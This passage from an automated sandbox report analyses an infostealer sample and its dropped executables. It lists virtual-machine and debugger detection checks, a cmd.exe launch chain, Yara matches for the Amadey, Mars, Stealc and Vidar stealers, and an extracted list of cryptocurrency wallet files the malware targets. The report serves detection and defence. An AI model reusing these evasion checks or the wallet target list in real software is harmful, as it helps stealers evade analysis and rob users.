Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (full)
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: :Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: EBFBKFBG.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 11 Essential Server Solutions without Hyper-V
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V (core)
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V (core)
Source: Amcache.hve.6.dr	Binary or memory string: VMware, Inc.
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 10 Essential Server Solutions without Hyper-V
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1hbin@
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: xVBoxService.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (core)
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (full)
Source: Amcache.hve.6.dr	Binary or memory string: VMware-42 27 80 4d 99 30 0e 9c-c1 9b 2a 23 ea 1f c4 20
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (full)
Source: Amcache.hve.6.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001A28000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (core)
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: *Windows 11 Server Standard without Hyper-V
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ,Windows 2016 Server Standard without Hyper-V
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V (core)
Source: Amcache.hve.6.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (core)
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (full)
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (full)
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (core)
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001A05000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware'
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001A69000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWY
Source: 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: VBoxService.exe
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V
Source: Amcache.hve.6.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: EBFBKFBG.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: *Windows 10 Server Standard without Hyper-V
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 1Windows 11 Server Standard without Hyper-V (core)
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 1Windows 10 Server Standard without Hyper-V (core)
Source: EBFBKFBG.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (full)
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (full)
Source: EBFBKFBG.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: VMWare
Source: Amcache.hve.6.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: EBFBKFBG.0.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (core)
Source: EBFBKFBG.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (full)
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8.1 Server Standard without Hyper-V (core)
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (full)
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (core)
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (full)
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000073C000.00000040.00000001.01000000.00000003.sdmp, 6e6e496542.exe, 0000000C.00000002.2416642437.000000000064C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: #Windows 11 Microsoft Hyper-V Server

Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\Rnteb46TuM.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe

Code function: 8_2_04F00D13 rdtsc

8_2_04F00D13

Source: C:\Users\user\Desktop\Rnteb46TuM.exe

Code function: 0_2_6C7F5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C7F5FF0

Source: C:\Users\user\Desktop\Rnteb46TuM.exe

Code function: 0_2_6C7FC410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C7FC410

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_00F4643B mov eax, dword ptr fs:[00000030h]		10_2_00F4643B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_00F4A1A2 mov eax, dword ptr fs:[00000030h]		10_2_00F4A1A2

Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7CB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C7CB66C
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7CB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C7CB1F7

Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\GCGHCBKFCF.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe "C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe "C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Rnteb46TuM.exe

Code function: 0_2_6C7CB341 cpuid

0_2_6C7CB341

Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\segoeuisl.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Rnteb46TuM.exe

Code function: 0_2_6C7935A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C7935A0

Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe

Code function: 12_2_7F7A1F60 GetUserNameA,

12_2_7F7A1F60

Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 15.2.explorti.exe.f10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.AFBFHDBKJE.exe.f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.explorti.exe.f10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.explorti.exe.f10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.3033347439.0000000000F11000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2400424009.0000000000F11000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2352102436.00000000000F1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2992298681.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2311882782.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2345493680.00000000056F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2359971482.00000000055A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3337643096.0000000000F11000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY

Yara detected Mars stealer

Source: Yara match	File source: 0.2.Rnteb46TuM.exe.500000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.6e6e496542.exe.410000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2295449194.0000000000501000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2416642437.0000000000411000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0000000C.00000002.2417828325.0000000001715000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2299175818.0000000001A05000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Rnteb46TuM.exe PID: 6408, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6e6e496542.exe PID: 6448, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.Rnteb46TuM.exe.500000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.6e6e496542.exe.410000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2295449194.0000000000501000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2416642437.0000000000411000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Rnteb46TuM.exe PID: 6408, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.00000000019E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.00000000019E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo 